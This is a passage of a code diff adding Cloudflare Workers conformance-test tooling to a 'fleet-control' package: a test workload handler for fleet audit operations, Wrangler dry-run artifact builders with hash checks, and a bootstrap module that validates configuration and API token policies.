+      .bind(account, id)
+      .first<string>('op_record');
+    if (!stored) throw new Error('missing seeded operation');
+    const run = JSON.parse(stored);
+    run.progress.stage = { step: 'per-record', recordOrdinal: count };
+    run.progress.revision += 1;
+    run.progress.findingCount = 1;
+    run.progress.factCount = count * 2;
+    await env.FLEET_DB.batch([
+      env.FLEET_DB.prepare(
+        'INSERT INTO anchorage_fleet_operation_rows VALUES (?, ?, ?, 0, ?)',
+      ).bind(account, id, 'finding', JSON.stringify(FINDING)),
+      env.FLEET_DB.prepare(
+        'UPDATE anchorage_fleet_operations SET op_record = ? WHERE account_id = ? AND operation_id = ?',
+      ).bind(JSON.stringify(run), account, id),
+    ]);
+    return {
+      next,
+      done: true,
+      token: {
+        version: 1,
+        operationId: id,
+        revision: run.progress.revision,
+      } satisfies FleetOperationToken,
+    };
+  }
+  return { next, done: false };
+}
+
+async function readback(env: Env, profile: Profile, id: string) {
+  const row = await env.FLEET_DB.prepare(
+    'SELECT op_record FROM anchorage_fleet_operations WHERE account_id = ? AND operation_id = ?',
+  )
+    .bind(`workload-${profile}`, id)
+    .first<string>('op_record');
+  const pins = await env.FLEET_DB.prepare(
+    'SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_pins WHERE account_id = ? AND pinned_by = ?',
+  )
+    .bind(`workload-${profile}`, `fleet-audit:${id}`)
+    .first<number>('count');
+  return { run: row ? JSON.parse(row) : null, pins };
+}
+
+export default {
+  async fetch(request, env) {
+    const input = (await request.json()) as {
+      profile: Profile;
+      action: string;
+      offset?: number;
+      token?: unknown;
+      variant?: number;
+      over?: boolean;
+    };
+    const invocationId = crypto.randomUUID();
+    try {
+      if (!Object.hasOwn(PROFILES, input.profile))
+        throw new Error('unknown workload profile');
+      const profile = input.profile;
+      if (input.action === 'seed-generation')
+        return Response.json({
+          invocationId,
+          result: await seedGeneration(env, profile, input.offset ?? 0),
+        });
+      if (input.action === 'seed-facts')
+        return Response.json({
+          invocationId,
+          result: await seedPriorFacts(env, profile, input.offset ?? 0),
+        });
+      const { control, metrics, providerRequests } = controlPlane(env, profile);
+      const id = operationId(profile, input.variant ?? 0);
+      let result: unknown;
+      if (input.action === 'read') {
+        const inventory = await control.readFleetInventoryGeneration(1);
+        function* identities() {
+          for (const value of inventory.deployments)
+            yield `${value.tenantTag}\0${value.scriptName}\0${value.databaseIds[0]}\0${value.durableObjectBindings[0]?.namespaceId}\n`;
+        }
+        result = {
+          deployments: inventory.deployments.length,
+          databases: inventory.databaseIds.length,
+          namespaces: inventory.namespaceIds.length,
+          routes: inventory.routes.length,
+          findings: inventory.findings,
+          identityDigest: await digest(identities()),
+        };
+      } else if (input.action === 'start' || input.action === 'continue') {
+        const data =
+          input.action === 'start'
+            ? intake(
+                profile,
+                input.over ?? false,
+                input.variant === 2 ? 1 : PROFILES[profile].count,
+              )
+            : undefined;
+        const action: FleetAuditAdvanceAction = data
+          ? {
+              kind: 'start',
+              operationId: id,
+              records: data.records,
+              generation: 1,
+              staleAfterMs: 3600000,
+            }
+          : { kind: 'continue', token: input.token };
+        const outcome = await control.advanceFleetAudit({
+          action,
+          specFor,
+          maintenanceSecretFor: () => 'inert-secret',
+          maxItemsPerCall: 500,
+          auditClock: () => NOW,
+        });
+        result = {
+          outcome,
+          ...(data
+            ? {
+                intake: {
+                  count: data.records.length,
+                  bytes: data.bytes,
+                  maximumItemBytes: data.maximumItemBytes,
+                },
+              }
+            : {}),
+          ...(await readback(env, profile, id)),
+        };
+      } else if (input.action === 'abandon') {
+        await control.abandonFleetAuditOperation(id);
+        result = await readback(env, profile, id);
+      } else if (input.action === 'findings') {
+        result = {
+          page: await control.readFleetAuditFindingsPage({
+            operationId: id,
+            limit: 100,
+          }),
+          ...(await readback(env, profile, id)),
+        };
+      } else if (input.action === 'corrupt') {
+        await env.FLEET_DB.prepare(
+          'DELETE FROM anchorage_fleet_inventory_deployment_facts WHERE account_id = ? AND generation = 1 AND deployment_ordinal = ? AND fact_kind = ?',
+        )
+          .bind(`workload-${profile}`, PROFILES[profile].count, 'secret-name')
+          .run();
+        result = { corrupted: true };
+      } else if (input.action === 'state')
+        result = await readback(env, profile, id);
+      else throw new Error('unknown workload action');
+      return Response.json({
+        invocationId,
+        result,
+        metrics,
+        providerRequests: providerRequests(),
+      });
+    } catch (error) {
+      return Response.json(
+        {
+          invocationId,
+          error: {
+            name: error instanceof Error ? error.name : 'Error',
+            message: error instanceof Error ? error.message : String(error),
+          },
+        },
+        { status: 500 },
+      );
+    }
+  },
+} satisfies ExportedHandler<Env>;
diff --git a/packages/fleet-control/scripts/credentialed-conformance.mjs b/packages/fleet-control/scripts/credentialed-conformance.mjs
index 71a40b17..c9729ee4 100644
--- a/packages/fleet-control/scripts/credentialed-conformance.mjs
+++ b/packages/fleet-control/scripts/credentialed-conformance.mjs
@@ -288,7 +288,11 @@ const client = new CloudflareProvisioningClient({
 });
 // This narrow read client sits outside the client's coordinated fetch path.
 // One explicit acquire therefore covers exactly one SDK request, with no retry.
-const cloudflare = new Cloudflare({ apiToken, maxRetries: 0 });
+const cloudflare = new Cloudflare({
+  apiToken,
+  logLevel: 'off',
+  maxRetries: 0,
+});
 const backend = new WorkersForPlatformsBackend({
   client,
   hostRoutingKvId: config.hostRoutingKvId,
diff --git a/packages/fleet-control/scripts/direct-artifacts-packed.mjs b/packages/fleet-control/scripts/direct-artifacts-packed.mjs
new file mode 100644
index 00000000..978ec974
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-artifacts-packed.mjs
@@ -0,0 +1,136 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import assert from 'node:assert/strict';
+import { createHash } from 'node:crypto';
+import {
+  copyFile,
+  mkdir,
+  readdir,
+  readFile,
+  realpath,
+  symlink,
+  writeFile,
+} from 'node:fs/promises';
+import { createRequire } from 'node:module';
+import { dirname, join, resolve } from 'node:path';
+import { pathToFileURL } from 'node:url';
+
+const hostModule =
+  /(?:^|\/)fleet-control\/dist\/(?:export-store|wrangler-loop-backend|wrangler-plain-worker-provisioning-api|wrangler-runner)\.js$/u;
+
+export async function verifyDirectArtifactsPacked({
+  consumerDirectory,
+  packageRoot,
+}) {
+  const directory = join(consumerDirectory, 'direct-artifact-fixture');
+  const scripts = join(directory, 'scripts');
+  await mkdir(directory);
+  await mkdir(scripts);
+  await mkdir(join(directory, 'src'));
+  await mkdir(join(directory, 'node_modules'));
+  for (const name of await readdir(join(packageRoot, 'scripts'))) {
+    if (name.startsWith('direct-') && /\.(?:ts|mts|mjs|json)$/u.test(name)) {
+      await copyFile(join(packageRoot, 'scripts', name), join(scripts, name));
+    }
+  }
+  for (const name of ['export-file-name.ts', 'strict-plain-data.ts']) {
+    await copyFile(
+      join(packageRoot, 'src', name),
+      join(directory, 'src', name),
+    );
+  }
+  for (const tool of ['wrangler', 'typescript']) {
+    await symlink(
+      await realpath(join(packageRoot, 'node_modules', tool)),
+      join(directory, 'node_modules', tool),
+      'dir',
+    );
+  }
+  const { buildDirectConformanceArtifacts } = await import(
+    pathToFileURL(join(scripts, 'direct-credentialed-artifacts.mjs'))
+  );
+  const built = await buildDirectConformanceArtifacts({
+    configPath: join(scripts, 'direct-credentialed-conformance.example.json'),
+    outputDirectory: join(directory, 'built'),
+  });
+  const consumerRequire = createRequire(
+    join(consumerDirectory, 'package.json'),
+  );
+  const entries = await Promise.all(
+    [
+      '@proofoftech/fleet-control',
+      '@proofoftech/fleet-control/cloudflare-control-plane',
+    ].map(async (entry) => [
+      entry,
+      await realpath(consumerRequire.resolve(entry)),
+    ]),
+  );
+  const metadataBytes = await readFile(built.builds.reference.metafilePath);
+  const metadata = JSON.parse(metadataBytes.toString('utf8'));
+  const metadataDirectory = dirname(built.builds.reference.metafilePath);
+  const inputPaths = Object.keys(metadata.inputs).map((path) =>
+    resolve(metadataDirectory, path),
+  );
+  for (const [entry, expected] of entries) {
+    const candidates = inputPaths.filter((path) =>
+      path.endsWith(
+        `/fleet-control/dist/${entry.endsWith('/cloudflare-control-plane') ? 'cloudflare-control-plane' : 'index'}.js`,
+      ),
+    );
+    assert.equal(
+      candidates.length,
+      1,
+      `default reference must reach one installed ${entry} entry`,
+    );
+    assert.equal(
+      await realpath(candidates[0]),
+      expected,
+      `default reference must resolve the consumer's ${entry}`,
+    );
+  }
+  assert.ok(
+    inputPaths.every((path) => !path.startsWith(`${join(directory, 'src')}/`)),
+    'private config host helpers must not enter the reference Worker graph',
+  );
+  const mainPath = join(metadataDirectory, 'out', 'reference.js');
+  const output = Object.entries(metadata.outputs).find(
+    ([path]) => resolve(metadataDirectory, path) === mainPath,
+  )?.[1];
+  assert.ok(output, 'default reference main output must be present');
+  assert.equal(output.bytes, built.builds.reference.rawBytes);
+  const contributions = Object.entries(output.inputs)
+    .map(([path, entry]) => ({ path, bytes: entry.bytesInOutput }))
+    .sort(
+      (left, right) =>
+        right.bytes - left.bytes || left.path.localeCompare(right.path),
+    );
+  for (const entry of contributions) {
+    assert.ok(Number.isSafeInteger(entry.bytes) && entry.bytes >= 0);
+    assert.ok(
+      entry.bytes === 0 || !hostModule.test(entry.path),
+      `default Worker contains host implementation: ${entry.path}`,
+    );
+  }
+  const attributedBytes = contributions.reduce(
+    (sum, entry) => sum + entry.bytes,
+    0,
+  );
+  assert.ok(attributedBytes <= output.bytes);
+  const graph = {
+    entries: Object.fromEntries(entries),
+    inputs: Object.keys(metadata.inputs).sort(),
+    runtimeImports: output.imports,
+    contributions,
+    attributedBytes,
+    outputBytes: output.bytes,
+    metafileSha256: createHash('sha256').update(metadataBytes).digest('hex'),
+  };
+  await writeFile(
+    join(directory, 'default-reference-graph.json'),
+    `${JSON.stringify(graph, null, 2)}\n`,
+  );
+  process.stdout.write(
+    `fleet-control default direct artifacts: ${JSON.stringify({ builds: built.builds, referenceUploadBytes: built.prepared.referenceUploadBytes, referenceModuleSetSha256: built.prepared.referenceModuleSetSha256, entries: graph.entries, runtimeImports: graph.runtimeImports, attributedBytes, graphSha256: graph.metafileSha256, hostContributions: contributions.filter((entry) => hostModule.test(entry.path)) })}\n`,
+  );
+  return built;
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-artifacts.d.mts b/packages/fleet-control/scripts/direct-credentialed-artifacts.d.mts
new file mode 100644
index 00000000..35707202
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-artifacts.d.mts
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs';
+
+export interface DirectArtifactBuildMeasurement {
+  readonly metafilePath: string;
+  readonly rawBytes: number;
+  readonly gzipBytes: number;
+  readonly sha256: string;
+}
+
+export interface BuiltDirectConformanceArtifacts {
+  readonly configPath: string;
+  readonly prepared: PreparedDirectConformance;
+  readonly builds: Readonly<{
+    reference: DirectArtifactBuildMeasurement;
+    tenant: DirectArtifactBuildMeasurement;
+  }>;
+}
+
+export function buildDirectConformanceArtifacts(
+  input: Readonly<{
+    configPath: string;
+    outputDirectory: string;
+    now?: number;
+  }>,
+): Promise<BuiltDirectConformanceArtifacts>;
diff --git a/packages/fleet-control/scripts/direct-credentialed-artifacts.mjs b/packages/fleet-control/scripts/direct-credentialed-artifacts.mjs
new file mode 100644
index 00000000..377eebdd
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-artifacts.mjs
@@ -0,0 +1,322 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawn } from 'node:child_process';
+import { createHash } from 'node:crypto';
+import {
+  chmod,
+  lstat,
+  mkdir,
+  open,
+  readdir,
+  readFile,
+  writeFile,
+} from 'node:fs/promises';
+import { createRequire } from 'node:module';
+import { dirname, isAbsolute, join, relative, resolve, sep } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { gzipSync } from 'node:zlib';
+import {
+  DIRECT_MANIFEST_MODULE,
+  DIRECT_MAX_UPLOAD_BYTES,
+  preflightDirectConformance,
+  readDirectConformanceConfig,
+} from './direct-credentialed-conformance-preflight.mjs';
+
+function invalid(field) {
+  return new Error(`direct conformance artifact build has invalid ${field}`);
+}
+
+function sha256(bytes) {
+  return createHash('sha256').update(bytes).digest('hex');
+}
+
+function writePrivate(path, bytes) {
+  return writeFile(path, bytes, { flag: 'wx', mode: 0o600 });
+}
+
+function writeJson(path, value) {
+  return writePrivate(path, `${JSON.stringify(value, null, 2)}\n`);
+}
+
+async function restrictBuildFiles(directory) {
+  for (const entry of await readdir(directory, { withFileTypes: true })) {
+    const path = join(directory, entry.name);
+    if (entry.isDirectory()) {
+      await chmod(path, 0o700);
+      await restrictBuildFiles(path);
+    } else if (entry.isFile()) {
+      await chmod(path, 0o600);
+    } else {
+      throw invalid('build output file');
+    }
+  }
+}
+
+async function readModule(path) {
+  const stat = await lstat(path);
+  if (!stat.isFile() || stat.size < 1 || stat.size > DIRECT_MAX_UPLOAD_BYTES)
+    throw invalid('module file');
+  const bytes = await readFile(path);
+  if (bytes.length !== stat.size) throw invalid('module file size');
+  return bytes;
+}
+
+async function resolveWrangler() {
+  const require = createRequire(import.meta.url);
+  const manifestPath = require.resolve('wrangler/package.json');
+  const manifest = JSON.parse(await readFile(manifestPath, 'utf8'));
+  const bin =
+    typeof manifest.bin === 'string' ? manifest.bin : manifest.bin?.wrangler;
+  if (typeof bin !== 'string' || !bin || typeof manifest.version !== 'string')
+    throw invalid('Wrangler package');
+  return {
+    manifestPath,
+    version: manifest.version,
+    bin: resolve(dirname(manifestPath), bin),
+  };
+}
+
+async function runWrangler(directory, wrangler, args) {
+  const logPath = join(directory, 'dry-run.log');
+  const log = await open(logPath, 'wx', 0o600);
+  const startedAtMs = Date.now();
+  const environment = {
+    PATH: process.env.PATH ?? '',
+    WRANGLER_SEND_METRICS: 'false',
+  };
+  let outcome;
+  try {
+    outcome = await new Promise((fulfill) => {
+      const child = spawn(process.execPath, [wrangler.bin, ...args], {
+        cwd: directory,
+        env: environment,
+        stdio: ['ignore', log.fd, log.fd],
+      });
+      let error;
+      child.once('error', (cause) => {
+        error = cause.message;
+      });
+      child.once('close', (status, signal) => {
+        fulfill({ status, signal, ...(error ? { error } : {}) });
+      });
+    });
+  } finally {
+    await log.close();
+  }
+  await writeJson(join(directory, 'command.json'), {
+    executable: process.execPath,
+    args: [wrangler.bin, ...args],
+    cwd: directory,
+    wranglerManifestPath: wrangler.manifestPath,
+    wranglerVersion: wrangler.version,
+    nodeVersion: process.version,
+    environmentKeys: Object.keys(environment),
+    metrics: false,
+    startedAtMs,
+    completedAtMs: Date.now(),
+    ...outcome,
+  });
+  if (outcome.status !== 0 || outcome.error)
+    throw new Error(`direct conformance Wrangler build failed; see ${logPath}`);
+}
+
+function relativeArtifactPath(outputDirectory, path) {
+  return relative(outputDirectory, path).split(sep).join('/');
+}
+
+async function inspectBuild(directory, outputDirectory, role, mainModule) {
+  const metafilePath = join(directory, 'metafile.json');
+  const metadata = JSON.parse(await readFile(metafilePath, 'utf8'));
+  if (
+    !metadata.outputs ||
+    typeof metadata.outputs !== 'object' ||
+    Array.isArray(metadata.outputs)
+  )
+    throw invalid('Wrangler outputs');
+  const mainPath = join(directory, 'out', `${role}.js`);
+  const entryPath = join(directory, 'src', `${role}.ts`);
+  const entries = Object.entries(metadata.outputs).filter(
+    ([, output]) =>
+      output &&
+      typeof output.entryPoint === 'string' &&
+      resolve(directory, output.entryPoint) === entryPath,
+  );
+  const entry = entries[0];
+  if (
+    entries.length !== 1 ||
+    resolve(directory, entry[0]) !== mainPath ||
+    !Array.isArray(entry[1].imports)
+  )
+    throw invalid('Wrangler main output');
+  const bytes = await readModule(mainPath);
+  if (entry[1].bytes !== bytes.length)
+    throw invalid('Wrangler main output size');
+  const wasmNames = new Set();
+  for (const imported of entry[1].imports) {
+    if (!imported || typeof imported.path !== 'string')
+      throw invalid('Wrangler output import');
+    const path = imported.path;
+    if (role === 'reference' && path === `./${DIRECT_MANIFEST_MODULE}`)
+      continue;
+    if (!path.startsWith('.') && !isAbsolute(path)) continue;
+    if (
+      !/^\.\/[A-Za-z0-9][A-Za-z0-9._-]*\.wasm$/u.test(path) ||
+      imported.kind !== 'import-statement' ||
+      imported.external !== true
+    )
+      throw invalid('flat relative output import');
+    wasmNames.add(path.slice(2));
+  }
+  const auxiliaryWasm = [];
+  for (const name of [...wasmNames].sort()) {
+    const path = join(directory, 'out', name);
+    auxiliaryWasm.push({
+      file: relativeArtifactPath(outputDirectory, path),
+      name,
+      sha256: sha256(await readModule(path)),
+    });
+  }
+  const digest = sha256(bytes);
+  return {
+    artifact: {
+      bundle: relativeArtifactPath(outputDirectory, mainPath),
+      mainModule,
+      sha256: digest,
+      ...(auxiliaryWasm.length > 0 ? { auxiliaryWasm } : {}),
+    },
+    measurements: Object.freeze({
+      metafilePath,
+      rawBytes: bytes.length,
+      gzipBytes: gzipSync(bytes).length,
+      sha256: digest,
+    }),
+  };
+}
+
+async function buildWorker(outputDirectory, role, intent, wrangler) {
+  const directory = join(outputDirectory, role);
+  const sourceDirectory = join(directory, 'src');
+  const bundleDirectory = join(directory, 'out');
+  await mkdir(directory, { mode: 0o700 });
+  await mkdir(sourceDirectory, { mode: 0o700 });
+  await mkdir(bundleDirectory, { mode: 0o700 });
+  const reference = role === 'reference';
+  const sourcePath = fileURLToPath(
+    new URL(
+      reference
+        ? './direct-reference-worker.ts'
+        : './direct-credentialed-tenant.ts',
+      import.meta.url,
+    ),
+  );
+  await writePrivate(
+    join(sourceDirectory, `${role}.ts`),
+    reference
+      ? `import manifest from './${DIRECT_MANIFEST_MODULE}';\nimport { createDirectReferenceWorker } from ${JSON.stringify(sourcePath)};\nexport default createDirectReferenceWorker(manifest);\n`
+      : `export { default, Maintenance, Runner } from ${JSON.stringify(sourcePath)};\n`,
+  );
+  if (reference)
+    await writePrivate(
+      join(sourceDirectory, DIRECT_MANIFEST_MODULE),
+      "export default { buildPlaceholder: 'direct-conformance-manifest' };\n",
+    );
+  const wranglerConfigPath = join(directory, 'wrangler.json');
+  await writeJson(wranglerConfigPath, {
+    name: `direct-conformance-${role}-build`,
+    main: `src/${role}.ts`,
+    base_dir: 'src',
+    compatibility_date: intent.compatibilityDate,
+    compatibility_flags: intent.compatibilityFlags,
+    limits: {
+      cpu_ms: intent.cpuLimitMs,
+      subrequests: intent.subrequestLimit,
+    },
+    ...(reference
+      ? {
+          rules: [
+            {
+              type: 'ESModule',
+              globs: [`**/${DIRECT_MANIFEST_MODULE}`],
+              fallthrough: false,
+            },
+          ],
+          find_additional_modules: true,
+        }
+      : {}),
+  });
+  try {
+    await runWrangler(directory, wrangler, [
+      'deploy',
+      '--config',
+      wranglerConfigPath,
+      '--dry-run',
+      '--outdir',
+      bundleDirectory,
+      '--metafile',
+      join(directory, 'metafile.json'),
+      '--outfile',
+      join(directory, 'upload.bundle'),
+    ]);
+  } finally {
+    await restrictBuildFiles(directory);
+  }
+  return inspectBuild(
+    directory,
+    outputDirectory,
+    role,
+    intent.artifact.mainModule,
+  );
+}
+
+export async function buildDirectConformanceArtifacts(input) {
+  const loaded = await readDirectConformanceConfig(input);
+  if (
+    typeof input.outputDirectory !== 'string' ||
+    !input.outputDirectory ||
+    input.outputDirectory.includes('\0')
+  )
+    throw invalid('output directory');
+  const outputDirectory = resolve(input.outputDirectory);
+  const wrangler = await resolveWrangler();
+  await mkdir(outputDirectory, { mode: 0o700 });
+  await writePrivate(
+    join(outputDirectory, 'input-conformance.json'),
+    loaded.configBytes,
+  );
+  const reference = await buildWorker(
+    outputDirectory,
+    'reference',
+    loaded.config.referenceWorker,
+    wrangler,
+  );
+  const tenant = await buildWorker(
+    outputDirectory,
+    'tenant',
+    loaded.config.deployment,
+    wrangler,
+  );
+  const configPath = join(outputDirectory, 'conformance.json');
+  await writeJson(configPath, {
+    ...loaded.config,
+    referenceWorker: {
+      ...loaded.config.referenceWorker,
+      artifact: reference.artifact,
+    },
+    deployment: {
+      ...loaded.config.deployment,
+      artifact: tenant.artifact,
+    },
+  });
+  const prepared = await preflightDirectConformance({
+    configPath,
+    now: input.now,
+  });
+  return Object.freeze({
+    configPath,
+    prepared,
+    builds: Object.freeze({
+      reference: reference.measurements,
+      tenant: tenant.measurements,
+    }),
+  });
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-bootstrap.d.mts b/packages/fleet-control/scripts/direct-credentialed-bootstrap.d.mts
new file mode 100644
index 00000000..d9b78c4d
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-bootstrap.d.mts
@@ -0,0 +1,37 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs';
+import type {
+  DirectInvocationClient,
+  DirectInvocationFailureDetail,
+} from './direct-credentialed-invocation.mjs';
+import type { DirectRunJournal } from './direct-credentialed-run-state.mjs';
+
+export type DirectBootstrapErrorCode =
+  | 'invalid-input'
+  | 'provider-unavailable'
+  | 'observation-mismatch'
+  | 'name-collision'
+  | 'outcome-unknown'
+  | 'budget-exhausted'
+  | 'invocation-budget-exhausted'
+  | 'reference-refused';
+
+export class DirectBootstrapError extends Error {
+  readonly detail: DirectInvocationFailureDetail | undefined;
+  readonly code: DirectBootstrapErrorCode;
+  constructor(
+    code?: DirectBootstrapErrorCode,
+    detail?: DirectInvocationFailureDetail,
+  );
+}
+
+export function bootstrapDirectConformance(
+  input: Readonly<{
+    prepared: PreparedDirectConformance;
+    journal: DirectRunJournal;
+    apiToken: string;
+    invokeSecret: string;
+    fetch?: typeof fetch;
+  }>,
+): Promise<DirectInvocationClient>;
diff --git a/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs
new file mode 100644
index 00000000..2aaa4268
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs
@@ -0,0 +1,799 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { isDeepStrictEqual } from 'node:util';
+import { DIRECT_INVOCATION_FAILURE_DETAILS } from './direct-credentialed-invocation.mjs';
+import {
+  validateProviderAuth as auth,
+  classifyDispatchNamespaces,
+  DirectProviderError,
+  identifier,
+  inventory,
+  openDirectProviderSession,
+} from './direct-credentialed-provider.mjs';
+import { REFERENCE_SECRET_NAMES } from './direct-credentialed-reference-vocabulary.mjs';
+import {
+  DirectRunStateError,
+  mutationPending,
+} from './direct-credentialed-run-state.mjs';
+
+// The SDK's repeated type query parameters return no rows from the live API.
+const ZONE_TYPES = Object.freeze(['full', 'partial', 'secondary', 'internal']);
+
+const ERROR_CODES = new Set([
+  'invalid-input',
+  'provider-unavailable',
+  'observation-mismatch',
+  'name-collision',
+  'outcome-unknown',
+  'budget-exhausted',
+  'invocation-budget-exhausted',
+  'reference-refused',
+]);
+
+export class DirectBootstrapError extends Error {
+  constructor(code = 'invalid-input', detail) {
+    const accepted = ERROR_CODES.has(code) ? code : 'invalid-input';
+    super(accepted);
+    this.name = 'DirectBootstrapError';
+    this.code = accepted;
+    this.detail = DIRECT_INVOCATION_FAILURE_DETAILS.includes(detail)
+      ? detail
+      : undefined;
+  }
+}
+
+function refuse(code = 'observation-mismatch', detail) {
+  throw new DirectBootstrapError(code, detail);
+}
+
+function object(value) {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) refuse();
+  return value;
+}
+
+function equal(value, expected) {
+  if (!isDeepStrictEqual(value, expected)) refuse();
+}
+
+function cancel(response) {
+  try {
+    void response?.body?.cancel().catch(() => {});
+  } catch {
+    /* The abortable pipe owns a locked source. */
+  }
+}
+
+async function checkedInput(input) {
+  const { validateDirectConformanceConfig, deriveDirectConformanceNames } =
+    await import('./direct-credentialed-conformance-config.mjs');
+  const { DIRECT_MANIFEST_MODULE, DIRECT_MAX_UPLOAD_BYTES } = await import(
+    './direct-credentialed-conformance-preflight.mjs'
+  );
+  try {
+    const prepared = structuredClone(input.prepared);
+    const config = validateDirectConformanceConfig(prepared.config);
+    equal(config, prepared.config);
+    equal(prepared.names, deriveDirectConformanceNames(config));
+    const journal = input.journal;
+    for (const method of [
+      'snapshot',
+      'bindBootstrapContext',
+      'beginBootstrapMutation',
+      'confirmBootstrapMutation',
+      'recordBootstrapObservation',
+      'reserveInvocation',
+      'settleInvocation',
+    ]) {
+      if (typeof journal[method] !== 'function') refuse('invalid-input');
+    }
+    const snapshot = journal.snapshot();
+    if (
+      snapshot.version !== 2 ||
+      !Number.isSafeInteger(snapshot.invocationCount) ||
+      snapshot.invocationCount < 0 ||
+      snapshot.invocationCount > config.referenceWorker.maxInvocations ||
+      !Object.hasOwn(snapshot, 'bootstrap') ||
+      !Object.hasOwn(snapshot, 'lastInvocation')
+    )
+      refuse('invalid-input');
+    const binding = snapshot.binding;
+    identifier(binding.accountId);
+    equal(binding, {
+      accountId: binding.accountId,
+      configSha256: prepared.configSha256,
+      referenceModuleSetSha256: prepared.referenceModuleSetSha256,
+      resourcePrefix: config.resourcePrefix,
+      maxInvocations: config.referenceWorker.maxInvocations,
+    });
+    if (
+      ![prepared.configSha256, prepared.referenceModuleSetSha256].every(
+        (hash) => typeof hash === 'string' && /^[a-f0-9]{64}$/u.test(hash),
+      )
+    )
+      refuse('invalid-input');
+    if (mutationPending(snapshot)) refuse('outcome-unknown');
+    if (
+      snapshot.invocationCount > 0 &&
+      (!snapshot.bootstrap?.upload || !snapshot.bootstrap?.ingress)
+    )
+      refuse('invalid-input');
+    if (snapshot.bootstrap) {
+      equal(snapshot.bootstrap.context.names, prepared.names);
+      await journal.bindBootstrapContext(snapshot.bootstrap.context);
+    }
+    if (
+      !Array.isArray(prepared.referenceModules) ||
+      prepared.referenceModules.length < 2
+    )
+      refuse('invalid-input');
+    const seen = new Set();
+    const table = prepared.referenceModules.map((module) => {
+      identifier(module.name, 255);
+      if (seen.has(module.name) || module.name === 'metadata')
+        refuse('invalid-input');
+      seen.add(module.name);
+      let bytes;
+      if (
+        module.contentType === 'application/javascript+module' &&
+        typeof module.source === 'string'
+      )
+        bytes = Buffer.from(module.source);
+      else if (
+        module.contentType === 'application/wasm' &&
+        typeof module.base64 === 'string'
+      ) {
+        bytes = Buffer.from(module.base64, 'base64');
+        if (bytes.toString('base64') !== module.base64) refuse('invalid-input');
+      } else refuse('invalid-input');
+      if (
+        bytes.length !== module.byteLength ||
+        createHash('sha256').update(bytes).digest('hex') !== module.sha256
+      )
+        refuse('invalid-input');
+      return {
+        name: module.name,
+        contentType: module.contentType,
+        byteLength: module.byteLength,
+        sha256: module.sha256,
+      };
+    });
+    const [main, manifest] = prepared.referenceModules;
+    if (
+      main.name !== config.referenceWorker.artifact.mainModule ||
+      main.sha256 !== config.referenceWorker.artifact.sha256 ||
+      manifest.name !== DIRECT_MANIFEST_MODULE ||
+      manifest.source !==
+        `export default ${JSON.stringify(prepared.manifest)};\n` ||
+      prepared.manifest.configSha256 !== prepared.configSha256
+    )
+      refuse('invalid-input');
+    equal(prepared.manifest.names, prepared.names);
+    const { artifact: referenceArtifact, ...referenceRuntime } =
+      config.referenceWorker;
+    const {
+      artifact: tenantArtifact,
+      spec,
+      ...deploymentRuntime
+    } = config.deployment;
+    equal(prepared.manifest.referenceRuntime, referenceRuntime);
+    equal(prepared.manifest.deploymentRuntime, deploymentRuntime);
+    if (
+      prepared.manifest.resourcePrefix !== config.resourcePrefix ||
+      prepared.manifest.environment !== config.environment ||
+      prepared.manifest.contractVersion !== config.contractVersion ||
+      prepared.manifest.fixtureVersion !== spec.fixtureVersion ||
+      prepared.manifest.interruption !== config.interruption ||
+      prepared.manifest.tenantModule.name !== tenantArtifact.mainModule ||
+      prepared.manifest.tenantModule.sha256 !== tenantArtifact.sha256
+    )
+      refuse('invalid-input');
+    equal(
+      prepared.referenceModules
+        .slice(2)
+        .map(({ name, sha256 }) => ({ name, sha256 })),
+      (referenceArtifact.auxiliaryWasm ?? []).map(({ name, sha256 }) => ({
+        name,
+        sha256,
+      })),
+    );
+    if (
+      createHash('sha256').update(JSON.stringify(table)).digest('hex') !==
+        prepared.referenceModuleSetSha256 ||
+      table.reduce((sum, module) => sum + module.byteLength, 0) !==
+        prepared.referenceUploadBytes ||
+      prepared.referenceUploadBytes > DIRECT_MAX_UPLOAD_BYTES
+    )
+      refuse('invalid-input');
+    auth(input.apiToken);
+    auth(input.invokeSecret);
+    const fetchRequest = input.fetch ?? globalThis.fetch;
+    if (typeof fetchRequest !== 'function') refuse('invalid-input');
+    return {
+      prepared,
+      journal,
+      accountId: binding.accountId,
+      apiToken: input.apiToken,
+      invokeSecret: input.invokeSecret,
+      fetchRequest,
+    };
+  } catch (error) {
+    if (
+      error instanceof DirectBootstrapError &&
+      error.code === 'outcome-unknown'
+    )
+      throw error;
+    refuse('invalid-input');
+  }
+}
+
+function zone(row, accountId) {
+  identifier(row.id);
+  identifier(row.type);
+  const name = identifier(row.name, 253);
+  if (
+    row.account?.id !== accountId ||
+    name
+      .split('.')
+      .some((label) => !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(label))
+  )
+    refuse();
+  return [`id:${row.id}`, `name:${row.name}`];
+}
+
+function assertZonePolicy(token, verifiedId, accountId) {
+  if (
+    token.id !== verifiedId ||
+    token.status !== 'active' ||
+    !Array.isArray(token.policies) ||
+    token.policies.length === 0
+  )
+    refuse();
+  const required = [
+    ['Zone Read'],
+    ['Workers Routes Read'],
+    ['Workers Routes Edit', 'Workers Routes Write'],
+  ];
+  const allowed = new Set();
+  for (const policy of token.policies) {
+    object(policy);
+    identifier(policy.id);
+    if (
+      !['allow', 'deny'].includes(policy.effect) ||
+      !Array.isArray(policy.permission_groups) ||
+      policy.permission_groups.length === 0
+    )
+      refuse();
+    const names = new Set(
